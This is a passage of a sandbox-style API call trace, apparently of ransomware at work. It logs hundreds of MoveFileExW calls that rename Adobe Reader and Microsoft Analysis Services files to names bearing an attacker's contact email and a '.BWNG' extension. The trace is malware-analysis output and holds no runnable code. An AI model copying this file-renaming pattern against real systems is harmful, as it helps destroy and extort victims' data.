lpPerformanceCount=0x37cfe3c*=24477771884) returned 1 [0102.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].HqbSncvr-6FzAnb5a.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].hqbsncvr-6fzanb5a.bwng"), dwFlags=0x1) returned 1 [0102.827] GetTickCount () returned 0x11616ad [0102.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24477904731) returned 1 [0102.827] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ta9pUoih-6xCNgnHZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ta9puoih-6xcngnhz.bwng"), dwFlags=0x1) returned 1 [0102.828] GetTickCount () returned 0x11616ad [0102.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24478041516) returned 1 [0102.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].I4Sfwmtu-FFuqfwxH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].i4sfwmtu-ffuqfwxh.bwng"), dwFlags=0x1) returned 1 [0102.830] GetTickCount () returned 0x11616ad [0102.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24478177107) returned 1 [0102.830] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].7x9t8AEi-rCNxB82V.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].7x9t8aei-rcnxb82v.bwng"), dwFlags=0x1) returned 1 [0102.831] GetTickCount () returned 0x11616ad [0102.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24478313304) returned 1 [0102.831] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn62.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn62.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].DtC0y05A-6PwAHE5w.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].dtc0y05a-6pwahe5w.bwng"), dwFlags=0x1) returned 1 [0102.832] GetTickCount () returned 0x11616ad [0102.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24478447644) returned 1 [0102.832] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].dJkHBw4g-vqExExeW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].djkhbw4g-vqexexew.bwng"), dwFlags=0x1) returned 1 [0102.834] GetTickCount () returned 0x11616ad [0102.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24478620198) returned 1 [0102.834] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].CaEmXKvk-KA9n0q2B.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].caemxkvk-ka9n0q2b.bwng"), dwFlags=0x1) returned 1 [0102.926] GetTickCount () returned 0x116170a [0102.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24487850938) returned 1 [0102.927] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].4BjheaHC-KjEQXq9N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].4bjheahc-kjeqxq9n.bwng"), dwFlags=0x1) returned 1 [0102.928] GetTickCount () returned 0x116170a [0102.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24487994031) returned 1 [0102.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].EhnbZdnR-nCAqxrtv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ehnbzdnr-ncaqxrtv.bwng"), dwFlags=0x1) returned 1 [0102.929] GetTickCount () returned 0x116171a [0102.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488156388) returned 1 [0102.930] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].E6FO9D9E-DYuUOKOX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].e6fo9d9e-dyuuokox.bwng"), dwFlags=0x1) returned 1 [0102.931] GetTickCount () returned 0x116171a [0102.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488340912) returned 1 [0102.931] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].6stG5y8K-xSHArUt5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].6stg5y8k-xsharut5.bwng"), dwFlags=0x1) returned 1 [0102.933] GetTickCount () returned 0x116171a [0102.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488478292) returned 1 [0102.933] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].DMyNjWsj-VkJ1gUHY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].dmynjwsj-vkj1guhy.bwng"), dwFlags=0x1) returned 1 [0102.934] GetTickCount () returned 0x116171a [0102.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488629017) returned 1 [0102.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\IA32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ia32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].AbSocLF4-asfHWPcp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].absoclf4-asfhwpcp.bwng"), dwFlags=0x1) returned 1 [0102.935] GetTickCount () returned 0x116171a [0102.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488770895) returned 1 [0102.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl26.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl26.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].qBevI6v5-F2btsKsX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].qbevi6v5-f2btsksx.bwng"), dwFlags=0x1) returned 1 [0102.937] GetTickCount () returned 0x116171a [0102.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24488904890) returned 1 [0102.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].VFQg99BP-DwyY3Hnc.BWNG" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].vfqg99bp-dwyy3hnc.bwng"), dwFlags=0x1) returned 1 [0102.939] GetTickCount () returned 0x116171a [0102.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489094735) returned 1 [0102.939] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].3Akiyum7-GZtvUu2K.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].3akiyum7-gztvuu2k.bwng"), dwFlags=0x1) returned 1 [0102.940] GetTickCount () returned 0x116171a [0102.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489243050) returned 1 [0102.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hrv132.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hrv132.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].8MVFOOFX-9RisK9yH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].8mvfoofx-9risk9yh.bwng"), dwFlags=0x1) returned 1 [0102.941] GetTickCount () returned 0x116171a [0102.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489361632) returned 1 [0102.942] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\itl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\itl32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].cqnUwLbo-sevT6iWA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].cqnuwlbo-sevt6iwa.bwng"), dwFlags=0x1) returned 1 [0102.943] GetTickCount () returned 0x116171a [0102.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489486861) returned 1 [0102.943] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].SvLK8BZx-CXloK6tz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].svlk8bzx-cxlok6tz.bwng"), dwFlags=0x1) returned 1 [0102.944] GetTickCount () returned 0x116171a [0102.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489619456) returned 1 [0102.944] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].izytQi8W-k7IBgzXc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].izytqi8w-k7ibgzxc.bwng"), dwFlags=0x1) returned 1 [0102.946] GetTickCount () returned 0x1161729 [0102.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489846419) returned 1 [0102.946] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rumphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].JAbYPJne-ZfgRKbDC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].jabypjne-zfgrkbdc.bwng"), dwFlags=0x1) returned 1 [0102.948] GetTickCount () returned 0x1161729 [0102.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24489989733) returned 1 [0102.948] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].iZUpEnmS-voK8FQE5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].izupenms-vok8fqe5.bwng"), dwFlags=0x1) returned 1 [0102.949] GetTickCount () returned 0x1161729 [0102.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490125726) returned 1 [0102.949] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn24.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn24.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].87dNvFif-Bq1xw94j.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].87dnvfif-bq1xw94j.bwng"), dwFlags=0x1) returned 1 [0102.950] GetTickCount () returned 0x1161729 [0102.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490329788) returned 1 [0102.952] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\SendMail.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\sendmail.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].BWIWt76W-ydeGcV5P.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].bwiwt76w-ydegcv5p.bwng"), dwFlags=0x1) returned 1 [0102.953] GetTickCount () returned 0x1161729 [0102.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490563958) returned 1 [0102.954] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur111.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur111.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].Bax7afGV-TuNRKuL3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].bax7afgv-tunrkul3.bwng"), dwFlags=0x1) returned 1 [0102.955] GetTickCount () returned 0x1161729 [0102.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490699158) returned 1 [0102.955] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].YQfkpGf0-WmJoxmRX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].yqfkpgf0-wmjoxmrx.bwng"), dwFlags=0x1) returned 1 [0102.956] GetTickCount () returned 0x1161729 [0102.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490843949) returned 1 [0102.956] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].jegNGzN8-i9dsNQya.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].jegngzn8-i9dsnqya.bwng"), dwFlags=0x1) returned 1 [0102.957] GetTickCount () returned 0x1161729 [0102.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24490974107) returned 1 [0102.958] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\litphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\litphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].gvx1UvDr-xTEdvOda.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].gvx1uvdr-xtedvoda.bwng"), dwFlags=0x1) returned 1 [0102.959] GetTickCount () returned 0x1161729 [0102.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24491102996) returned 1 [0102.959] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\BRdlang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\brdlang32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].wgGVtnhU-4evvrd3W.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].wggvtnhu-4evvrd3w.bwng"), dwFlags=0x1) returned 1 [0102.960] GetTickCount () returned 0x1161729 [0102.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24509592043) returned 1 [0103.144] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].J5QpvRTR-VENAfrZu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].j5qpvrtr-venafrzu.bwng"), dwFlags=0x1) returned 1 [0103.146] GetTickCount () returned 0x11617e5 [0103.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24509959092) returned 1 [0103.148] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rum32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rum32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].UKXH6oso-DjnanqOP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ukxh6oso-djnanqop.bwng"), dwFlags=0x1) returned 1 [0103.149] GetTickCount () returned 0x11617f4 [0103.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24510137106) returned 1 [0103.149] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PPKLITE.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ppklite.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].bjSY72pW-5GR8vKnM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].bjsy72pw-5gr8vknm.bwng"), dwFlags=0x1) returned 1 [0103.151] GetTickCount () returned 0x11617f4 [0103.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24510282303) returned 1 [0103.151] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Updater.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\updater.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].Sz3eBXX7-P5xSY81v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].sz3ebxx7-p5xsy81v.bwng"), dwFlags=0x1) returned 1 [0103.290] GetTickCount () returned 0x1161881 [0103.290] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524238305) returned 1 [0103.291] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\eBook.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\ebook.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].qocRTi8r-s58Jkrir.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].qocrti8r-s58jkrir.bwng"), dwFlags=0x1) returned 1 [0103.292] GetTickCount () returned 0x1161881 [0103.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24524434923) returned 1 [0103.292] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 